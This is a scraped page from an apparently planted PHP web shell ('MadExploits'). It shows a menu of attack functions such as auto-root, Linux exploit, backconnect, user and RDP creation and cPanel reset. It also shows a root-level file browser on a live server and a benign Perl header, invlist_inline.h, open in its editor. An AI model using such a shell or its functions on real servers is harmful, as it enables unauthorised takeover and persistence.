Linux r-1tbfree-gecko-e8ip2zsa-2f967-wvg4t 6.12.63-84.121.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Dec 31 02:07:30 UTC 2025 x86_64
PHP/8.5.2 (Development Server)
: | : 10.16.21.217
Cant Read [ /etc/named.conf ]
8.5.2
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
x86_64-linux-gnu /
perl /
5.40.1 /
CORE /
[ HOME SHELL ]
Name
Size
Permission
Action
EXTERN.h
1.55
KB
-rw-r--r--
INTERN.h
1.26
KB
-rw-r--r--
XSUB.h
23.73
KB
-rw-r--r--
av.h
7.08
KB
-rw-r--r--
bitcount.h
1.01
KB
-rw-r--r--
charclass_invlists.h
4.32
MB
-rw-r--r--
config.h
165.81
KB
-rw-r--r--
cop.h
56.42
KB
-rw-r--r--
cv.h
14.42
KB
-rw-r--r--
dosish.h
3.6
KB
-rw-r--r--
ebcdic_tables.h
48.75
KB
-rw-r--r--
embed.h
148.46
KB
-rw-r--r--
embedvar.h
23.79
KB
-rw-r--r--
fakesdio.h
3.13
KB
-rw-r--r--
feature.h
18.51
KB
-rw-r--r--
form.h
1.43
KB
-rw-r--r--
git_version.h
357
B
-rw-r--r--
gv.h
12.34
KB
-rw-r--r--
handy.h
143.45
KB
-rw-r--r--
hv.h
27.62
KB
-rw-r--r--
hv_func.h
7.72
KB
-rw-r--r--
hv_macro.h
3.1
KB
-rw-r--r--
inline.h
133.63
KB
-rw-r--r--
intrpvar.h
38.22
KB
-rw-r--r--
invlist_inline.h
11.22
KB
-rw-r--r--
iperlsys.h
62.5
KB
-rw-r--r--
keywords.h
6.68
KB
-rw-r--r--
l1_char_class_tab.h
118.13
KB
-rw-r--r--
locale_table.h
6.04
KB
-rw-r--r--
malloc_ctl.h
1.49
KB
-rw-r--r--
metaconfig.h
2.48
KB
-rw-r--r--
mg.h
3.56
KB
-rw-r--r--
mg_data.h
5.54
KB
-rw-r--r--
mg_raw.h
4.71
KB
-rw-r--r--
mg_vtable.h
10.23
KB
-rw-r--r--
mydtrace.h
1.65
KB
-rw-r--r--
nostdio.h
3.53
KB
-rw-r--r--
op.h
40.88
KB
-rw-r--r--
op_reg_common.h
5.9
KB
-rw-r--r--
opcode.h
96.81
KB
-rw-r--r--
opnames.h
9.21
KB
-rw-r--r--
overload.h
3.21
KB
-rw-r--r--
pad.h
19.62
KB
-rw-r--r--
parser.h
6.95
KB
-rw-r--r--
patchlevel-debian.h
5.54
KB
-rw-r--r--
patchlevel.h
6.33
KB
-rw-r--r--
perl.h
326.07
KB
-rw-r--r--
perl_inc_macro.h
5.88
KB
-rw-r--r--
perl_langinfo.h
7.88
KB
-rw-r--r--
perl_siphash.h
5.06
KB
-rw-r--r--
perlapi.h
635
B
-rw-r--r--
perlio.h
9.48
KB
-rw-r--r--
perliol.h
13.27
KB
-rw-r--r--
perlsdio.h
527
B
-rw-r--r--
perlstatic.h
894
B
-rw-r--r--
perlvars.h
16.72
KB
-rw-r--r--
perly.h
9.89
KB
-rw-r--r--
pp.h
29.79
KB
-rw-r--r--
pp_proto.h
20.46
KB
-rw-r--r--
proto.h
337.94
KB
-rw-r--r--
reentr.h
85.34
KB
-rw-r--r--
regcharclass.h
270.27
KB
-rw-r--r--
regcomp.h
68.54
KB
-rw-r--r--
regcomp_internal.h
60.55
KB
-rw-r--r--
regexp.h
45.69
KB
-rw-r--r--
reginline.h
1.54
KB
-rw-r--r--
regnodes.h
126.98
KB
-rw-r--r--
sbox32_hash.h
54.43
KB
-rw-r--r--
scope.h
12.19
KB
-rw-r--r--
scope_types.h
5.1
KB
-rw-r--r--
sv.h
106.01
KB
-rw-r--r--
sv_inline.h
28.33
KB
-rw-r--r--
thread.h
19.53
KB
-rw-r--r--
time64.h
900
B
-rw-r--r--
time64_config.h
2.02
KB
-rw-r--r--
uni_keywords.h
557.44
KB
-rw-r--r--
unicode_constants.h
57.28
KB
-rw-r--r--
unixish.h
5.44
KB
-rw-r--r--
utf8.h
59.93
KB
-rw-r--r--
utfebcdic.h
11.48
KB
-rw-r--r--
util.h
10.47
KB
-rw-r--r--
uudmap.h
1.03
KB
-rw-r--r--
vutil.h
3.96
KB
-rw-r--r--
warnings.h
11.86
KB
-rw-r--r--
zaphod32_hash.h
9.47
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : invlist_inline.h
/* invlist_inline.h * * Copyright (C) 2012 by Larry Wall and others * * You may distribute under the terms of either the GNU General Public * License or the Artistic License, as specified in the README file. */ #ifndef PERL_INVLIST_INLINE_H_ #define PERL_INVLIST_INLINE_H_ #if defined(PERL_IN_UTF8_C) \ || defined(PERL_IN_REGCOMP_ANY) \ || defined(PERL_IN_REGEXEC_C) \ || defined(PERL_IN_TOKE_C) \ || defined(PERL_IN_PP_C) \ || defined(PERL_IN_OP_C) \ || defined(PERL_IN_DOOP_C) /* An element is in an inversion list iff its index is even numbered: 0, 2, 4, * etc */ #define ELEMENT_RANGE_MATCHES_INVLIST(i) (! ((i) & 1)) #define PREV_RANGE_MATCHES_INVLIST(i) (! ELEMENT_RANGE_MATCHES_INVLIST(i)) /* This converts to/from our UVs to what the SV code is expecting: bytes. */ #define TO_INTERNAL_SIZE(x) ((x) * sizeof(UV)) #define FROM_INTERNAL_SIZE(x) ((x)/ sizeof(UV)) PERL_STATIC_INLINE bool S_is_invlist(const SV* const invlist) { return invlist != NULL && SvTYPE(invlist) == SVt_INVLIST; } PERL_STATIC_INLINE bool* S_get_invlist_offset_addr(SV* invlist) { /* Return the address of the field that says whether the inversion list is * offset (it contains 1) or not (contains 0) */ PERL_ARGS_ASSERT_GET_INVLIST_OFFSET_ADDR; assert(is_invlist(invlist)); return &(((XINVLIST*) SvANY(invlist))->is_offset); } PERL_STATIC_INLINE UV S__invlist_len(SV* const invlist) { /* Returns the current number of elements stored in the inversion list's * array */ PERL_ARGS_ASSERT__INVLIST_LEN; assert(is_invlist(invlist)); return (SvCUR(invlist) == 0) ? 0 : FROM_INTERNAL_SIZE(SvCUR(invlist)) - *get_invlist_offset_addr(invlist); } PERL_STATIC_INLINE bool S__invlist_contains_cp(SV* const invlist, const UV cp) { /* Does <invlist> contain code point <cp> as part of the set? */ IV index = _invlist_search(invlist, cp); PERL_ARGS_ASSERT__INVLIST_CONTAINS_CP; return index >= 0 && ELEMENT_RANGE_MATCHES_INVLIST(index); } PERL_STATIC_INLINE UV* S_invlist_array(SV* const invlist) { /* Returns the pointer to the inversion list's array. Every time the * length changes, this needs to be called in case malloc or realloc moved * it */ PERL_ARGS_ASSERT_INVLIST_ARRAY; /* Must not be empty. If these fail, you probably didn't check for <len> * being non-zero before trying to get the array */ assert(_invlist_len(invlist)); /* The very first element always contains zero, The array begins either * there, or if the inversion list is offset, at the element after it. * The offset header field determines which; it contains 0 or 1 to indicate * how much additionally to add */ assert(0 == *(SvPVX(invlist))); return ((UV *) SvPVX(invlist) + *get_invlist_offset_addr(invlist)); } #endif #if defined(PERL_IN_REGCOMP_ANY) || defined(PERL_IN_OP_C) || defined(PERL_IN_DOOP_C) PERL_STATIC_INLINE void S_invlist_extend(pTHX_ SV* const invlist, const UV new_max) { /* Grow the maximum size of an inversion list */ PERL_ARGS_ASSERT_INVLIST_EXTEND; assert(SvTYPE(invlist) == SVt_INVLIST); /* Add one to account for the zero element at the beginning which may not * be counted by the calling parameters */ SvGROW((SV *)invlist, TO_INTERNAL_SIZE(new_max + 1)); } PERL_STATIC_INLINE void S_invlist_set_len(pTHX_ SV* const invlist, const UV len, const bool offset) { /* Sets the current number of elements stored in the inversion list. * Updates SvCUR correspondingly */ PERL_UNUSED_CONTEXT; PERL_ARGS_ASSERT_INVLIST_SET_LEN; assert(SvTYPE(invlist) == SVt_INVLIST); SvCUR_set(invlist, (len == 0) ? 0 : TO_INTERNAL_SIZE(len + offset)); assert(SvLEN(invlist) == 0 || SvCUR(invlist) <= SvLEN(invlist)); } PERL_STATIC_INLINE SV* S_add_cp_to_invlist(pTHX_ SV* invlist, const UV cp) { return _add_range_to_invlist(invlist, cp, cp); } PERL_STATIC_INLINE UV S_invlist_highest(SV* const invlist) { /* Returns the highest code point that matches an inversion list. This API * has an ambiguity, as it returns 0 under either the highest is actually * 0, or if the list is empty. If this distinction matters to you, check * for emptiness before calling this function */ UV len = _invlist_len(invlist); UV *array; PERL_ARGS_ASSERT_INVLIST_HIGHEST; if (len == 0) { return 0; } array = invlist_array(invlist); /* The last element in the array in the inversion list always starts a * range that goes to infinity. That range may be for code points that are * matched in the inversion list, or it may be for ones that aren't * matched. In the latter case, the highest code point in the set is one * less than the beginning of this range; otherwise it is the final element * of this range: infinity */ return (ELEMENT_RANGE_MATCHES_INVLIST(len - 1)) ? UV_MAX : array[len - 1] - 1; } # if defined(PERL_IN_REGCOMP_ANY) PERL_STATIC_INLINE UV S_invlist_highest_range_start(SV* const invlist) { /* Returns the lowest code point of the highest range in the inversion * list parameter. This API has an ambiguity: it returns 0 either when * the lowest such point is actually 0 or when the list is empty. If this * distinction matters to you, check for emptiness before calling this * function. */ UV len = _invlist_len(invlist); UV *array; PERL_ARGS_ASSERT_INVLIST_HIGHEST_RANGE_START; if (len == 0) { return 0; } array = invlist_array(invlist); /* The last element in the array in the inversion list always starts a * range that goes to infinity. That range may be for code points that are * matched in the inversion list, or it may be for ones that aren't * matched. In the first case, the lowest code point in the matching range * is that the one that started the range. If the other case, the final * matching range begins at the next element down (which may be 0 in the * edge case). */ return (ELEMENT_RANGE_MATCHES_INVLIST(len - 1)) ? array[len - 1] : len == 1 ? 0 : array[len - 2]; } # endif #endif #if defined(PERL_IN_REGCOMP_ANY) || defined(PERL_IN_OP_C) PERL_STATIC_INLINE STRLEN* S_get_invlist_iter_addr(SV* invlist) { /* Return the address of the UV that contains the current iteration * position */ PERL_ARGS_ASSERT_GET_INVLIST_ITER_ADDR; assert(is_invlist(invlist)); return &(((XINVLIST*) SvANY(invlist))->iterator); } PERL_STATIC_INLINE void S_invlist_iterinit(SV* invlist) /* Initialize iterator for invlist */ { PERL_ARGS_ASSERT_INVLIST_ITERINIT; *get_invlist_iter_addr(invlist) = 0; } PERL_STATIC_INLINE void S_invlist_iterfinish(SV* invlist) { /* Terminate iterator for invlist. This is to catch development errors. * Any iteration that is interrupted before completed should call this * function. Functions that add code points anywhere else but to the end * of an inversion list assert that they are not in the middle of an * iteration. If they were, the addition would make the iteration * problematical: if the iteration hadn't reached the place where things * were being added, it would be ok */ PERL_ARGS_ASSERT_INVLIST_ITERFINISH; *get_invlist_iter_addr(invlist) = (STRLEN) UV_MAX; } STATIC bool S_invlist_iternext(SV* invlist, UV* start, UV* end) { /* An C<invlist_iterinit> call on <invlist> must be used to set this up. * This call sets in <*start> and <*end>, the next range in <invlist>. * Returns <TRUE> if successful and the next call will return the next * range; <FALSE> if was already at the end of the list. If the latter, * <*start> and <*end> are unchanged, and the next call to this function * will start over at the beginning of the list */ STRLEN* pos = get_invlist_iter_addr(invlist); UV len = _invlist_len(invlist); UV *array; PERL_ARGS_ASSERT_INVLIST_ITERNEXT; if (*pos >= len) { *pos = (STRLEN) UV_MAX; /* Force iterinit() to be required next time */ return FALSE; } array = invlist_array(invlist); *start = array[(*pos)++]; if (*pos >= len) { *end = UV_MAX; } else { *end = array[(*pos)++] - 1; } return TRUE; } #endif #ifndef PERL_IN_REGCOMP_ANY /* These symbols are only needed later in regcomp.c */ # undef TO_INTERNAL_SIZE # undef FROM_INTERNAL_SIZE #endif #ifdef PERL_IN_REGCOMP_ANY PERL_STATIC_INLINE bool S_invlist_is_iterating(const SV* const invlist) { PERL_ARGS_ASSERT_INVLIST_IS_ITERATING; /* get_invlist_iter_addr()'s sv is non-const only because it returns a * value that can be used to modify the invlist, it doesn't modify the * invlist itself */ return *(get_invlist_iter_addr((SV*)invlist)) < (STRLEN) UV_MAX; } PERL_STATIC_INLINE SV * S_invlist_contents(pTHX_ SV* const invlist, const bool traditional_style) { /* Get the contents of an inversion list into a string SV so that they can * be printed out. If 'traditional_style' is TRUE, it uses the format * traditionally done for debug tracing; otherwise it uses a format * suitable for just copying to the output, with blanks between ranges and * a dash between range components */ UV start, end; SV* output; const char intra_range_delimiter = (traditional_style ? '\t' : '-'); const char inter_range_delimiter = (traditional_style ? '\n' : ' '); if (traditional_style) { output = newSVpvs("\n"); } else { output = newSVpvs(""); } PERL_ARGS_ASSERT_INVLIST_CONTENTS; assert(! invlist_is_iterating(invlist)); invlist_iterinit(invlist); while (invlist_iternext(invlist, &start, &end)) { if (end == UV_MAX) { Perl_sv_catpvf(aTHX_ output, "%04" UVXf "%cINFTY%c", start, intra_range_delimiter, inter_range_delimiter); } else if (end != start) { Perl_sv_catpvf(aTHX_ output, "%04" UVXf "%c%04" UVXf "%c", start, intra_range_delimiter, end, inter_range_delimiter); } else { Perl_sv_catpvf(aTHX_ output, "%04" UVXf "%c", start, inter_range_delimiter); } } if (SvCUR(output) && ! traditional_style) {/* Get rid of trailing blank */ SvCUR_set(output, SvCUR(output) - 1); } return output; } PERL_STATIC_INLINE UV S_invlist_lowest(SV* const invlist) { /* Returns the lowest code point that matches an inversion list. This API * has an ambiguity, as it returns 0 under either the lowest is actually * 0, or if the list is empty. If this distinction matters to you, check * for emptiness before calling this function */ UV len = _invlist_len(invlist); UV *array; PERL_ARGS_ASSERT_INVLIST_LOWEST; if (len == 0) { return 0; } array = invlist_array(invlist); return array[0]; } #endif #endif /* PERL_INVLIST_INLINE_H_ */
Close